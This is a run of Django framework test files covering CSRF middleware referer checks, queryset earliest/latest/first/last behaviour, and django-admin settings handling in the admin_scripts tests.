        req = self._get_POST_request_with_token()
        req._is_secure_override = True
        req.META['HTTP_HOST'] = 'www.example.com'
        req.META['HTTP_REFERER'] = 'https://dashboard.example.com'
        req2 = CsrfViewMiddleware().process_view(req, post_form_view, (), {})
        self.assertIsNone(req2)

    @override_settings(ALLOWED_HOSTS=['www.example.com'], CSRF_TRUSTED_ORIGINS=['.example.com'])
    def test_https_csrf_wildcard_trusted_origin_allowed(self):
        """
        A POST HTTPS request with a referer that matches a CSRF_TRUSTED_ORIGINS
        wildcard is accepted.
        """
        req = self._get_POST_request_with_token()
        req._is_secure_override = True
        req.META['HTTP_HOST'] = 'www.example.com'
        req.META['HTTP_REFERER'] = 'https://dashboard.example.com'
        response = CsrfViewMiddleware().process_view(req, post_form_view, (), {})
        self.assertIsNone(response)

    @override_settings(ALLOWED_HOSTS=['www.example.com'], CSRF_COOKIE_DOMAIN='.example.com')
    def test_https_good_referer_matches_cookie_domain(self):
        """
        A POST HTTPS request with a good referer should be accepted from a
        subdomain that's allowed by CSRF_COOKIE_DOMAIN.
        """
        req = self._get_POST_request_with_token()
        req._is_secure_override = True
        req.META['HTTP_REFERER'] = 'https://foo.example.com/'
        req.META['SERVER_PORT'] = '443'
        response = CsrfViewMiddleware().process_view(req, post_form_view, (), {})
        self.assertIsNone(response)

    @override_settings(ALLOWED_HOSTS=['www.example.com'], CSRF_COOKIE_DOMAIN='.example.com')
    def test_https_good_referer_matches_cookie_domain_with_different_port(self):
        """
        A POST HTTPS request with a good referer should be accepted from a
        subdomain that's allowed by CSRF_COOKIE_DOMAIN and a non-443 port.
        """
        req = self._get_POST_request_with_token()
        req._is_secure_override = True
        req.META['HTTP_HOST'] = 'www.example.com'
        req.META['HTTP_REFERER'] = 'https://foo.example.com:4443/'
        req.META['SERVER_PORT'] = '4443'
        response = CsrfViewMiddleware().process_view(req, post_form_view, (), {})
        self.assertIsNone(response)

    @override_settings(CSRF_COOKIE_DOMAIN='.example.com', DEBUG=True)
    def test_https_reject_insecure_referer(self):
        """
        A POST HTTPS request from an insecure referer should be rejected.
        """
        req = self._get_POST_request_with_token()
        req._is_secure_override = True
        req.META['HTTP_REFERER'] = 'http://example.com/'
        req.META['SERVER_PORT'] = '443'
        response = CsrfViewMiddleware().process_view(req, post_form_view, (), {})
        self.assertContains(
            response,
            'Referer checking failed - Referer is insecure while host is secure.',
            status_code=403,
        )

    def test_ensures_csrf_cookie_no_middleware(self):
        """
        The ensure_csrf_cookie() decorator works without middleware.
        """
        @ensure_csrf_cookie
        def view(request):
            # Doesn't insert a token or anything
            return HttpResponse(content="")

        req = self._get_GET_no_csrf_cookie_request()
        resp = view(req)
        self.assertTrue(resp.cookies.get(settings.CSRF_COOKIE_NAME, False))
        self.assertIn('Cookie', resp.get('Vary', ''))

    def test_ensures_csrf_cookie_with_middleware(self):
        """
        The ensure_csrf_cookie() decorator works with the CsrfViewMiddleware
        enabled.
        """
        @ensure_csrf_cookie
        def view(request):
            # Doesn't insert a token or anything
            return HttpResponse(content="")

        req = self._get_GET_no_csrf_cookie_request()
        CsrfViewMiddleware().process_view(req, view, (), {})
        resp = view(req)
        resp2 = CsrfViewMiddleware().process_response(req, resp)
        self.assertTrue(resp2.cookies.get(settings.CSRF_COOKIE_NAME, False))
        self.assertIn('Cookie', resp2.get('Vary', ''))

    def test_ensures_csrf_cookie_no_logging(self):
        """
        ensure_csrf_cookie() doesn't log warnings (#19436).
        """
        @ensure_csrf_cookie
        def view(request):
            # Doesn't insert a token or anything
            return HttpResponse(content="")

        class TestHandler(logging.Handler):
            def emit(self, record):
                raise Exception("This shouldn't have happened!")

        logger = logging.getLogger('django.request')
        test_handler = TestHandler()
        old_log_level = logger.level
        try:
            logger.addHandler(test_handler)
            logger.setLevel(logging.WARNING)

            req = self._get_GET_no_csrf_cookie_request()
            view(req)
        finally:
            logger.removeHandler(test_handler)
            logger.setLevel(old_log_level)

    def test_csrf_cookie_age(self):
        """
        CSRF cookie age can be set using settings.CSRF_COOKIE_AGE.
        """
        req = self._get_GET_no_csrf_cookie_request()

        MAX_AGE = 123
        with self.settings(CSRF_COOKIE_NAME='csrfcookie',
                           CSRF_COOKIE_DOMAIN='.example.com',
                           CSRF_COOKIE_AGE=MAX_AGE,
                           CSRF_COOKIE_PATH='/test/',
                           CSRF_COOKIE_SECURE=True,
                           CSRF_COOKIE_HTTPONLY=True):
            # token_view calls get_token() indirectly
            CsrfViewMiddleware().process_view(req, token_view, (), {})
            resp = token_view(req)

            resp2 = CsrfViewMiddleware().process_response(req, resp)
            max_age = resp2.cookies.get('csrfcookie').get('max-age')
            self.assertEqual(max_age, MAX_AGE)

    def test_csrf_cookie_age_none(self):
        """
        CSRF cookie age does not have max age set and therefore uses
        session-based cookies.
        """
        req = self._get_GET_no_csrf_cookie_request()

        MAX_AGE = None
        with self.settings(CSRF_COOKIE_NAME='csrfcookie',
                           CSRF_COOKIE_DOMAIN='.example.com',
                           CSRF_COOKIE_AGE=MAX_AGE,
                           CSRF_COOKIE_PATH='/test/',
                           CSRF_COOKIE_SECURE=True,
                           CSRF_COOKIE_HTTPONLY=True):
            # token_view calls get_token() indirectly
            CsrfViewMiddleware().process_view(req, token_view, (), {})
            resp = token_view(req)

            resp2 = CsrfViewMiddleware().process_response(req, resp)
            max_age = resp2.cookies.get('csrfcookie').get('max-age')
            self.assertEqual(max_age, '')

    def test_post_data_read_failure(self):
        """
        #20128 -- IOErrors during POST data reading should be caught and
        treated as if the POST data wasn't there.
        """
        class CsrfPostRequest(HttpRequest):
            """
            HttpRequest that can raise an IOError when accessing POST data
            """
            def __init__(self, token, raise_error):
                super(CsrfPostRequest, self).__init__()
                self.method = 'POST'

                self.raise_error = False
                self.COOKIES[settings.CSRF_COOKIE_NAME] = token
                self.POST['csrfmiddlewaretoken'] = token
                self.raise_error = raise_error

            def _load_post_and_files(self):
                raise IOError('error reading input data')

            def _get_post(self):
                if self.raise_error:
                    self._load_post_and_files()
                return self._post

            def _set_post(self, post):
                self._post = post

            POST = property(_get_post, _set_post)

        token = ('ABC' + self._csrf_id)[:CSRF_TOKEN_LENGTH]

        req = CsrfPostRequest(token, raise_error=False)
        resp = CsrfViewMiddleware().process_view(req, post_form_view, (), {})
        self.assertIsNone(resp)

        req = CsrfPostRequest(token, raise_error=True)
        with patch_logger('django.security.csrf', 'warning') as logger_calls:
            resp = CsrfViewMiddleware().process_view(req, post_form_view, (), {})
            self.assertEqual(resp.status_code, 403)
            self.assertEqual(logger_calls[0], 'Forbidden (%s): ' % REASON_BAD_TOKEN)






from django.db import models


class Article(models.Model):
    headline = models.CharField(max_length=100)
    pub_date = models.DateField()
    expire_date = models.DateField()

    class Meta:
        get_latest_by = 'pub_date'


class Person(models.Model):
    name = models.CharField(max_length=30)
    birthday = models.DateField()
    # Note that this model doesn't have "get_latest_by" set.


# Ticket #23555 - model with an intentionally broken QuerySet.__iter__ method.

class IndexErrorQuerySet(models.QuerySet):
    """
    Emulates the case when some internal code raises an unexpected
    IndexError.
    """
    def __iter__(self):
        raise IndexError


class IndexErrorArticle(Article):
    objects = IndexErrorQuerySet.as_manager()












from __future__ import unicode_literals

from datetime import datetime

from django.test import TestCase

from .models import Article, IndexErrorArticle, Person


class EarliestOrLatestTests(TestCase):
    """Tests for the earliest() and latest() objects methods"""

    def tearDown(self):
        """Makes sure Article has a get_latest_by"""
        if not Article._meta.get_latest_by:
            Article._meta.get_latest_by = 'pub_date'

    def test_earliest(self):
        # Because no Articles exist yet, earliest() raises ArticleDoesNotExist.
        with self.assertRaises(Article.DoesNotExist):
            Article.objects.earliest()

        a1 = Article.objects.create(
            headline="Article 1", pub_date=datetime(2005, 7, 26),
            expire_date=datetime(2005, 9, 1)
        )
        a2 = Article.objects.create(
            headline="Article 2", pub_date=datetime(2005, 7, 27),
            expire_date=datetime(2005, 7, 28)
        )
        Article.objects.create(
            headline="Article 3", pub_date=datetime(2005, 7, 28),
            expire_date=datetime(2005, 8, 27)
        )
        Article.objects.create(
            headline="Article 4", pub_date=datetime(2005, 7, 28),
            expire_date=datetime(2005, 7, 30)
        )

        # Get the earliest Article.
        self.assertEqual(Article.objects.earliest(), a1)
        # Get the earliest Article that matches certain filters.
        self.assertEqual(
            Article.objects.filter(pub_date__gt=datetime(2005, 7, 26)).earliest(),
            a2
        )

        # Pass a custom field name to earliest() to change the field that's used
        # to determine the earliest object.
        self.assertEqual(Article.objects.earliest('expire_date'), a2)
        self.assertEqual(Article.objects.filter(
            pub_date__gt=datetime(2005, 7, 26)).earliest('expire_date'), a2)

        # Ensure that earliest() overrides any other ordering specified on the
        # query. Refs #11283.
        self.assertEqual(Article.objects.order_by('id').earliest(), a1)

        # Ensure that error is raised if the user forgot to add a get_latest_by
        # in the Model.Meta
        Article.objects.model._meta.get_latest_by = None
        with self.assertRaisesMessage(
            AssertionError,
            "earliest() and latest() require either a field_name parameter or "
            "'get_latest_by' in the model"
        ):
            Article.objects.earliest()

    def test_latest(self):
        # Because no Articles exist yet, latest() raises ArticleDoesNotExist.
        with self.assertRaises(Article.DoesNotExist):
            Article.objects.latest()

        a1 = Article.objects.create(
            headline="Article 1", pub_date=datetime(2005, 7, 26),
            expire_date=datetime(2005, 9, 1)
        )
        Article.objects.create(
            headline="Article 2", pub_date=datetime(2005, 7, 27),
            expire_date=datetime(2005, 7, 28)
        )
        a3 = Article.objects.create(
            headline="Article 3", pub_date=datetime(2005, 7, 27),
            expire_date=datetime(2005, 8, 27)
        )
        a4 = Article.objects.create(
            headline="Article 4", pub_date=datetime(2005, 7, 28),
            expire_date=datetime(2005, 7, 30)
        )

        # Get the latest Article.
        self.assertEqual(Article.objects.latest(), a4)
        # Get the latest Article that matches certain filters.
        self.assertEqual(
            Article.objects.filter(pub_date__lt=datetime(2005, 7, 27)).latest(),
            a1
        )

        # Pass a custom field name to latest() to change the field that's used
        # to determine the latest object.
        self.assertEqual(Article.objects.latest('expire_date'), a1)
        self.assertEqual(
            Article.objects.filter(pub_date__gt=datetime(2005, 7, 26)).latest('expire_date'),
            a3,
        )

        # Ensure that latest() overrides any other ordering specified on the query. Refs #11283.
        self.assertEqual(Article.objects.order_by('id').latest(), a4)

        # Ensure that error is raised if the user forgot to add a get_latest_by
        # in the Model.Meta
        Article.objects.model._meta.get_latest_by = None
        with self.assertRaisesMessage(
            AssertionError,
            "earliest() and latest() require either a field_name parameter or "
            "'get_latest_by' in the model"
        ):
            Article.objects.latest()

    def test_latest_manual(self):
        # You can still use latest() with a model that doesn't have
        # "get_latest_by" set -- just pass in the field name manually.
        Person.objects.create(name="Ralph", birthday=datetime(1950, 1, 1))
        p2 = Person.objects.create(name="Stephanie", birthday=datetime(1960, 2, 3))
        with self.assertRaises(AssertionError):
            Person.objects.latest()
        self.assertEqual(Person.objects.latest("birthday"), p2)


class TestFirstLast(TestCase):

    def test_first(self):
        p1 = Person.objects.create(name="Bob", birthday=datetime(1950, 1, 1))
        p2 = Person.objects.create(name="Alice", birthday=datetime(1961, 2, 3))
        self.assertEqual(
            Person.objects.first(), p1)
        self.assertEqual(
            Person.objects.order_by('name').first(), p2)
        self.assertEqual(
            Person.objects.filter(birthday__lte=datetime(1955, 1, 1)).first(),
            p1)
        self.assertIs(
            Person.objects.filter(birthday__lte=datetime(1940, 1, 1)).first(),
            None)

    def test_last(self):
        p1 = Person.objects.create(
            name="Alice", birthday=datetime(1950, 1, 1))
        p2 = Person.objects.create(
            name="Bob", birthday=datetime(1960, 2, 3))
        # Note: by default PK ordering.
        self.assertEqual(
            Person.objects.last(), p2)
        self.assertEqual(
            Person.objects.order_by('-name').last(), p1)
        self.assertEqual(
            Person.objects.filter(birthday__lte=datetime(1955, 1, 1)).last(),
            p1)
        self.assertIs(
            Person.objects.filter(birthday__lte=datetime(1940, 1, 1)).last(),
            None)

    def test_index_error_not_suppressed(self):
        """
        #23555 -- Unexpected IndexError exceptions in QuerySet iteration
        shouldn't be suppressed.
        """
        def check():
            # We know that we've broken the __iter__ method, so the queryset
            # should always raise an exception.
            with self.assertRaises(IndexError):
                IndexErrorArticle.objects.all()[0]
            with self.assertRaises(IndexError):
                IndexErrorArticle.objects.all().first()
            with self.assertRaises(IndexError):
                IndexErrorArticle.objects.all().last()

        check()

        # And it does not matter if there are any records in the DB.
        IndexErrorArticle.objects.create(
            headline="Article 1", pub_date=datetime(2005, 7, 26),
            expire_date=datetime(2005, 9, 1)
        )
        check()






import os

from django.conf.urls import url
from django.utils._os import upath
from django.views.static import serve

here = os.path.dirname(upath(__file__))

urlpatterns = [
    url(r'^custom_templates/(?P<path>.*)$', serve, {
        'document_root': os.path.join(here, 'custom_templates')}),
]












# -*- coding: utf-8 -*-
"""
A series of tests to establish that the command-line management tools work as
advertised - especially with regards to the handling of the
DJANGO_SETTINGS_MODULE and default settings.py files.
"""
from __future__ import unicode_literals

import codecs
import os
import re
import shutil
import socket
import subprocess
import sys
import tempfile
import unittest

import django
from django import conf, get_version
from django.conf import settings
from django.core.management import (
    BaseCommand, CommandError, call_command, color,
)
from django.db import ConnectionHandler
from django.db.migrations.exceptions import MigrationSchemaMissing
from django.db.migrations.recorder import MigrationRecorder
from django.test import (
    LiveServerTestCase, SimpleTestCase, TestCase, mock, override_settings,
)
from django.utils._os import npath, upath
from django.utils.encoding import force_text
from django.utils.six import PY2, PY3, StringIO

custom_templates_dir = os.path.join(os.path.dirname(upath(__file__)), 'custom_templates')

SYSTEM_CHECK_MSG = 'System check identified no issues'


class AdminScriptTestCase(unittest.TestCase):

    @classmethod
    def setUpClass(cls):
        super(AdminScriptTestCase, cls).setUpClass()
        cls.test_dir = os.path.realpath(os.path.join(
            tempfile.gettempdir(),
            cls.__name__,
            'test_project',
        ))
        if not os.path.exists(cls.test_dir):
            os.makedirs(cls.test_dir)
        with open(os.path.join(cls.test_dir, '__init__.py'), 'w'):
            pass

    @classmethod
    def tearDownClass(cls):
        shutil.rmtree(cls.test_dir)
        super(AdminScriptTestCase, cls).tearDownClass()

    def write_settings(self, filename, apps=None, is_dir=False, sdict=None, extra=None):
        if is_dir:
            settings_dir = os.path.join(self.test_dir, filename)
            os.mkdir(settings_dir)
            settings_file_path = os.path.join(settings_dir, '__init__.py')
        else:
            settings_file_path = os.path.join(self.test_dir, filename)

        with open(settings_file_path, 'w') as settings_file:
            settings_file.write('# -*- coding: utf-8 -*\n')
            settings_file.write('# Settings file automatically generated by admin_scripts test case\n')
            if extra:
                settings_file.write("%s\n" % extra)
            exports = [
                'DATABASES',
                'ROOT_URLCONF',
                'SECRET_KEY',
            ]
            for s in exports:
                if hasattr(settings, s):
                    o = getattr(settings, s)
                    if not isinstance(o, (dict, tuple, list)):
                        o = "'%s'" % o
                    settings_file.write("%s = %s\n" % (s, o))

            if apps is None:
                apps = ['django.contrib.auth', 'django.contrib.contenttypes', 'admin_scripts']

            settings_file.write("INSTALLED_APPS = %s\n" % apps)

            if sdict:
                for k, v in sdict.items():
                    settings_file.write("%s = %s\n" % (k, v))

    def remove_settings(self, filename, is_dir=False):
        full_name = os.path.join(self.test_dir, filename)
        if is_dir:
            shutil.rmtree(full_name)
        else:
            os.remove(full_name)

        # Also try to remove the compiled file; if it exists, it could
        # mess up later tests that depend upon the .py file not existing
        try:
            if sys.platform.startswith('java'):
                # Jython produces module$py.class files
                os.remove(re.sub(r'\.py$', '$py.class', full_name))
            else:
                # CPython produces module.pyc files
                os.remove(full_name + 'c')
        except OSError:
            pass
        # Also remove a __pycache__ directory, if it exists
        cache_name = os.path.join(self.test_dir, '__pycache__')
        if os.path.isdir(cache_name):
            shutil.rmtree(cache_name)

    def _ext_backend_paths(self):
        """
        Returns the paths for any external backend packages.
        """
        paths = []
        first_package_re = re.compile(r'(^[^\.]+)\.')
        for backend in settings.DATABASES.values():
            result = first_package_re.findall(backend['ENGINE'])
            if result and result != ['django']:
                backend_pkg = __import__(result[0])
                backend_dir = os.path.dirname(backend_pkg.__file__)
                paths.append(os.path.dirname(backend_dir))
        return paths

    def run_test(self, script, args, settings_file=None, apps=None):
        base_dir = os.path.dirname(self.test_dir)
        # The base dir for Django's tests is one level up.
        tests_dir = os.path.dirname(os.path.dirname(upath(__file__)))
        # The base dir for Django is one level above the test dir. We don't use
        # `import django` to figure that out, so we don't pick up a Django
        # from site-packages or similar.
        django_dir = os.path.dirname(tests_dir)
        ext_backend_base_dirs = self._ext_backend_paths()

        # Define a temporary environment for the subprocess
        test_environ = os.environ.copy()
        if sys.platform.startswith('java'):
            python_path_var_name = 'JYTHONPATH'
        else:
            python_path_var_name = 'PYTHONPATH'

        old_cwd = os.getcwd()

        # Set the test environment
        if settings_file:
            test_environ['DJANGO_SETTINGS_MODULE'] = str(settings_file)
        elif 'DJANGO_SETTINGS_MODULE' in test_environ:
            del test_environ['DJANGO_SETTINGS_MODULE']
        python_path = [base_dir, django_dir, tests_dir]
        python_path.extend(ext_backend_base_dirs)
        # Use native strings for better compatibility
        test_environ[str(python_path_var_name)] = npath(os.pathsep.join(python_path))
        test_environ[str('PYTHONWARNINGS')] = str('')

        # Move to the test directory and run
        os.chdir(self.test_dir)
        out, err = subprocess.Popen(
            [sys.executable, script] + args,
            stdout=subprocess.PIPE, stderr=subprocess.PIPE,
            env=test_environ, universal_newlines=True,
        ).communicate()
        # Move back to the old working directory
        os.chdir(old_cwd)

        return out, err

    def run_django_admin(self, args, settings_file=None):
        script_dir = os.path.abspath(os.path.join(os.path.dirname(upath(django.__file__)), 'bin'))
        return self.run_test(os.path.join(script_dir, 'django-admin.py'), args, settings_file)

    def run_manage(self, args, settings_file=None):
        def safe_remove(path):
            try:
                os.remove(path)
            except OSError:
                pass

        conf_dir = os.path.dirname(upath(conf.__file__))
        template_manage_py = os.path.join(conf_dir, 'project_template', 'manage.py-tpl')

        test_manage_py = os.path.join(self.test_dir, 'manage.py')
        shutil.copyfile(template_manage_py, test_manage_py)

        with open(test_manage_py, 'r') as fp:
            manage_py_contents = fp.read()
        manage_py_contents = manage_py_contents.replace(
            "{{ project_name }}", "test_project")
        with open(test_manage_py, 'w') as fp:
            fp.write(manage_py_contents)
        self.addCleanup(safe_remove, test_manage_py)

        return self.run_test('./manage.py', args, settings_file)

    def assertNoOutput(self, stream):
        "Utility assertion: assert that the given stream is empty"
        self.assertEqual(len(stream), 0, "Stream should be empty: actually contains '%s'" % stream)

    def assertOutput(self, stream, msg, regex=False):
        "Utility assertion: assert that the given message exists in the output"
        stream = force_text(stream)
        if regex:
            self.assertIsNotNone(
                re.search(msg, stream),
                "'%s' does not match actual output text '%s'" % (msg, stream)
            )
        else:
            self.assertIn(msg, stream, "'%s' does not match actual output text '%s'" % (msg, stream))

    def assertNotInOutput(self, stream, msg):
        "Utility assertion: assert that the given message doesn't exist in the output"
        stream = force_text(stream)
        self.assertNotIn(msg, stream, "'%s' matches actual output text '%s'" % (msg, stream))

##########################################################################
# DJANGO ADMIN TESTS
# This first series of test classes checks the environment processing
# of the django-admin.py script
##########################################################################


class DjangoAdminNoSettings(AdminScriptTestCase):
    "A series of tests for django-admin.py when there is no settings.py file."

    def test_builtin_command(self):
        "no settings: django-admin builtin commands fail with an error when no settings provided"
        args = ['check', 'admin_scripts']
        out, err = self.run_django_admin(args)
        self.assertNoOutput(out)
        self.assertOutput(err, 'settings are not configured')

    def test_builtin_with_bad_settings(self):
        "no settings: django-admin builtin commands fail if settings file (from argument) doesn't exist"
        args = ['check', '--settings=bad_settings', 'admin_scripts']
        out, err = self.run_django_admin(args)
        self.assertNoOutput(out)
        self.assertOutput(err, "No module named '?bad_settings'?", regex=True)

    def test_builtin_with_bad_environment(self):
        "no settings: django-admin builtin commands fail if settings file (from environment) doesn't exist"
        args = ['check', 'admin_scripts']
        out, err = self.run_django_admin(args, 'bad_settings')
        self.assertNoOutput(out)
        self.assertOutput(err, "No module named '?bad_settings'?", regex=True)


class DjangoAdminDefaultSettings(AdminScriptTestCase):
    """A series of tests for django-admin.py when using a settings.py file that
    contains the test application.
    """
    def setUp(self):
        self.write_settings('settings.py')

    def tearDown(self):
        self.remove_settings('settings.py')

    def test_builtin_command(self):
        "default: django-admin builtin commands fail with an error when no settings provided"
        args = ['check', 'admin_scripts']
        out, err = self.run_django_admin(args)
        self.assertNoOutput(out)
        self.assertOutput(err, 'settings are not configured')

    def test_builtin_with_settings(self):
        "default: django-admin builtin commands succeed if settings are provided as argument"
        args = ['check', '--settings=test_project.settings', 'admin_scripts']
        out, err = self.run_django_admin(args)
        self.assertNoOutput(err)
        self.assertOutput(out, SYSTEM_CHECK_MSG)

    def test_builtin_with_environment(self):
        "default: django-admin builtin commands succeed if settings are provided in the environment"
        args = ['check', 'admin_scripts']
        out, err = self.run_django_admin(args, 'test_project.settings')
        self.assertNoOutput(err)
        self.assertOutput(out, SYSTEM_CHECK_MSG)

    def test_builtin_with_bad_settings(self):
        "default: django-admin builtin commands fail if settings file (from argument) doesn't exist"
        args = ['check', '--settings=bad_settings', 'admin_scripts']
        out, err = self.run_django_admin(args)
        self.assertNoOutput(out)
        self.assertOutput(err, "No module named '?bad_settings'?", regex=True)

    def test_builtin_with_bad_environment(self):
        "default: django-admin builtin commands fail if settings file (from environment) doesn't exist"
        args = ['check', 'admin_scripts']
        out, err = self.run_django_admin(args, 'bad_settings')
        self.assertNoOutput(out)
        self.assertOutput(err, "No module named '?bad_settings'?", regex=True)

    def test_custom_command(self):
        "default: django-admin can't execute user commands if it isn't provided settings"
        args = ['noargs_command']
        out, err = self.run_django_admin(args)
        self.assertNoOutput(out)
        self.assertOutput(err, "No Django settings specified")
        self.assertOutput(err, "Unknown command: 'noargs_command'")

    def test_custom_command_with_settings(self):
        "default: django-admin can execute user commands if settings are provided as argument"
        args = ['noargs_command', '--settings=test_project.settings']
        out, err = self.run_django_admin(args)
        self.assertNoOutput(err)
        self.assertOutput(out, "EXECUTE: noargs_command")

    def test_custom_command_with_environment(self):
        "default: django-admin can execute user commands if settings are provided in environment"
        args = ['noargs_command']
        out, err = self.run_django_admin(args, 'test_project.settings')
        self.assertNoOutput(err)
        self.assertOutput(out, "EXECUTE: noargs_command")


class DjangoAdminFullPathDefaultSettings(AdminScriptTestCase):
    """A series of tests for django-admin.py when using a settings.py file that
    contains the test application specified using a full path.
    """
    def setUp(self):
        self.write_settings('settings.py', ['django.contrib.auth', 'django.contrib.contenttypes',
                                            'admin_scripts', 'admin_scripts.complex_app'])

    def tearDown(self):
        self.remove_settings('settings.py')

    def test_builtin_command(self):
        "fulldefault: django-admin builtin commands fail with an error when no settings provided"
        args = ['check', 'admin_scripts']
        out, err = self.run_django_admin(args)
        self.assertNoOutput(out)
        self.assertOutput(err, 'settings are not configured')

    def test_builtin_with_settings(self):
        "fulldefault: django-admin builtin commands succeed if a settings file is provided"
        args = ['check', '--settings=test_project.settings', 'admin_scripts']
        out, err = self.run_django_admin(args)
        self.assertNoOutput(err)
        self.assertOutput(out, SYSTEM_CHECK_MSG)

    def test_builtin_with_environment(self):
        "fulldefault: django-admin builtin commands succeed if the environment contains settings"
        args = ['check', 'admin_scripts']
        out, err = self.run_django_admin(args, 'test_project.settings')
        self.assertNoOutput(err)
        self.assertOutput(out, SYSTEM_CHECK_MSG)

    def test_builtin_with_bad_settings(self):
        "fulldefault: django-admin builtin commands fail if settings file (from argument) doesn't exist"
        args = ['check', '--settings=bad_settings', 'admin_scripts']
        out, err = self.run_django_admin(args)
        self.assertNoOutput(out)
        self.assertOutput(err, "No module named '?bad_settings'?", regex=True)

    def test_builtin_with_bad_environment(self):
        "fulldefault: django-admin builtin commands fail if settings file (from environment) doesn't exist"
        args = ['check', 'admin_scripts']
        out, err = self.run_django_admin(args, 'bad_settings')
        self.assertNoOutput(out)
        self.assertOutput(err, "No module named '?bad_settings'?", regex=True)

    def test_custom_command(self):
        "fulldefault: django-admin can't execute user commands unless settings are provided"
        args = ['noargs_command']
        out, err = self.run_django_admin(args)
        self.assertNoOutput(out)
        self.assertOutput(err, "No Django settings specified")
        self.assertOutput(err, "Unknown command: 'noargs_command'")

    def test_custom_command_with_settings(self):
        "fulldefault: django-admin can execute user commands if settings are provided as argument"
        args = ['noargs_command', '--settings=test_project.settings']
        out, err = self.run_django_admin(args)
        self.assertNoOutput(err)
        self.assertOutput(out, "EXECUTE: noargs_command")

    def test_custom_command_with_environment(self):
        "fulldefault: django-admin can execute user commands if settings are provided in environment"
        args = ['noargs_command']
        out, err = self.run_django_admin(args, 'test_project.settings')
        self.assertNoOutput(err)
        self.assertOutput(out, "EXECUTE: noargs_command")


class DjangoAdminMinimalSettings(AdminScriptTestCase):
    """A series of tests for django-admin.py when using a settings.py file that
    doesn't contain the test application.
    """
    def setUp(self):
        self.write_settings('settings.py', apps=['django.contrib.auth', 'django.contrib.contenttypes'])

    def tearDown(self):
        self.remove_settings('settings.py')

    def test_builtin_command(self):
        "minimal: django-admin builtin commands fail with an error when no settings provided"
        args = ['check', 'admin_scripts']
        out, err = self.run_django_admin(args)
        self.assertNoOutput(out)
        self.assertOutput(err, 'settings are not configured')

    def test_builtin_with_settings(self):
        "minimal: django-admin builtin commands fail if settings are provided as argument"
        args = ['check', '--settings=test_project.settings', 'admin_scripts']
        out, err = self.run_django_admin(args)
        self.assertNoOutput(out)
        self.assertOutput(err, "No installed app with label 'admin_scripts'.")

    def test_builtin_with_environment(self):
        "minimal: django-admin builtin commands fail if settings are provided in the environment"
        args = ['check', 'admin_scripts']
        out, err = self.run_django_admin(args, 'test_project.settings')
        self.assertNoOutput(out)
        self.assertOutput(err, "No installed app with label 'admin_scripts'.")

    def test_builtin_with_bad_settings(self):
        "minimal: django-admin builtin commands fail if settings file (from argument) doesn't exist"
        args = ['check', '--settings=bad_settings', 'admin_scripts']
        out, err = self.run_django_admin(args)
        self.assertNoOutput(out)
        self.assertOutput(err, "No module named '?bad_settings'?", regex=True)

    def test_builtin_with_bad_environment(self):
        "minimal: django-admin builtin commands fail if settings file (from environment) doesn't exist"
        args = ['check', 'admin_scripts']
        out, err = self.run_django_admin(args, 'bad_settings')
        self.assertNoOutput(out)
        self.assertOutput(err, "No module named '?bad_settings'?", regex=True)

    def test_custom_command(self):
        "minimal: django-admin can't execute user commands unless settings are provided"
        args = ['noargs_command']
        out, err = self.run_django_admin(args)
        self.assertNoOutput(out)
        self.assertOutput(err, "No Django settings specified")
        self.assertOutput(err, "Unknown command: 'noargs_command'")

    def test_custom_command_with_settings(self):
        "minimal: django-admin can't execute user commands, even if settings are provided as argument"
        args = ['noargs_command', '--settings=test_project.settings']
        out, err = self.run_django_admin(args)
        self.assertNoOutput(out)
        self.assertOutput(err, "Unknown command: 'noargs_command'")

    def test_custom_command_with_environment(self):
        "minimal: django-admin can't execute user commands, even if settings are provided in environment"
        args = ['noargs_command']
        out, err = self.run_django_admin(args, 'test_project.settings')
        self.assertNoOutput(out)
        self.assertOutput(err, "Unknown command: 'noargs_command'")


class DjangoAdminAlternateSettings(AdminScriptTestCase):
    """A series of tests for django-admin.py when using a settings file
    with a name other than 'settings.py'.
    """
    def setUp(self):
        self.write_settings('alternate_settings.py')

    def tearDown(self):
        self.remove_settings('alternate_settings.py')

    def test_builtin_command(self):
        "alternate: django-admin builtin commands fail with an error when no settings provided"
        args = ['check', 'admin_scripts']
        out, err = self.run_django_admin(args)
        self.assertNoOutput(out)
        self.assertOutput(err, 'settings are not configured')

    def test_builtin_with_settings(self):
        "alternate: django-admin builtin commands succeed if settings are provided as argument"
        args = ['check', '--settings=test_project.alternate_settings', 'admin_scripts']
        out, err = self.run_django_admin(args)
        self.assertNoOutput(err)
        self.assertOutput(out, SYSTEM_CHECK_MSG)

    def test_builtin_with_environment(self):
        "alternate: django-admin builtin commands succeed if settings are provided in the environment"
        args = ['check', 'admin_scripts']
        out, err = self.run_django_admin(args, 'test_project.alternate_settings')
        self.assertNoOutput(err)
        self.assertOutput(out, SYSTEM_CHECK_MSG)

    def test_builtin_with_bad_settings(self):
        "alternate: django-admin builtin commands fail if settings file (from argument) doesn't exist"
        args = ['check', '--settings=bad_settings', 'admin_scripts']
        out, err = self.run_django_admin(args)
        self.assertNoOutput(out)
        self.assertOutput(err, "No module named '?bad_settings'?", regex=True)

    def test_builtin_with_bad_environment(self):
        "alternate: django-admin builtin commands fail if settings file (from environment) doesn't exist"
        args = ['check', 'admin_scripts']
        out, err = self.run_django_admin(args, 'bad_settings')
        self.assertNoOutput(out)
        self.assertOutput(err, "No module named '?bad_settings'?", regex=True)

    def test_custom_command(self):
        "alternate: django-admin can't execute user commands unless settings are provided"
        args = ['noargs_command']
        out, err = self.run_django_admin(args)
        self.assertNoOutput(out)
        self.assertOutput(err, "No Django settings specified")
        self.assertOutput(err, "Unknown command: 'noargs_command'")

    def test_custom_command_with_settings(self):
        "alternate: django-admin can execute user commands if settings are provided as argument"
        args = ['noargs_command', '--settings=test_project.alternate_settings']
        out, err = self.run_django_admin(args)
        self.assertNoOutput(err)
        self.assertOutput(out, "EXECUTE: noargs_command")

    def test_custom_command_with_environment(self):
        "alternate: django-admin can execute user commands if settings are provided in environment"
        args = ['noargs_command']
        out, err = self.run_django_admin(args, 'test_project.alternate_settings')
        self.assertNoOutput(err)
        self.assertOutput(out, "EXECUTE: noargs_command")


class DjangoAdminMultipleSettings(AdminScriptTestCase):
    """A series of tests for django-admin.py when multiple settings files
    (including the default 'settings.py') are available. The default settings
    file is insufficient for performing the operations described, so the
    alternate settings must be used by the running script.
    """
    def setUp(self):
        self.write_settings('settings.py', apps=['django.contrib.auth', 'django.contrib.contenttypes'])
        self.write_settings('alternate_settings.py')

    def tearDown(self):
        self.remove_settings('settings.py')
        self.remove_settings('alternate_settings.py')

    def test_builtin_command(self):
        "alternate: django-admin builtin commands fail with an error when no settings provided"
        args = ['check', 'admin_scripts']
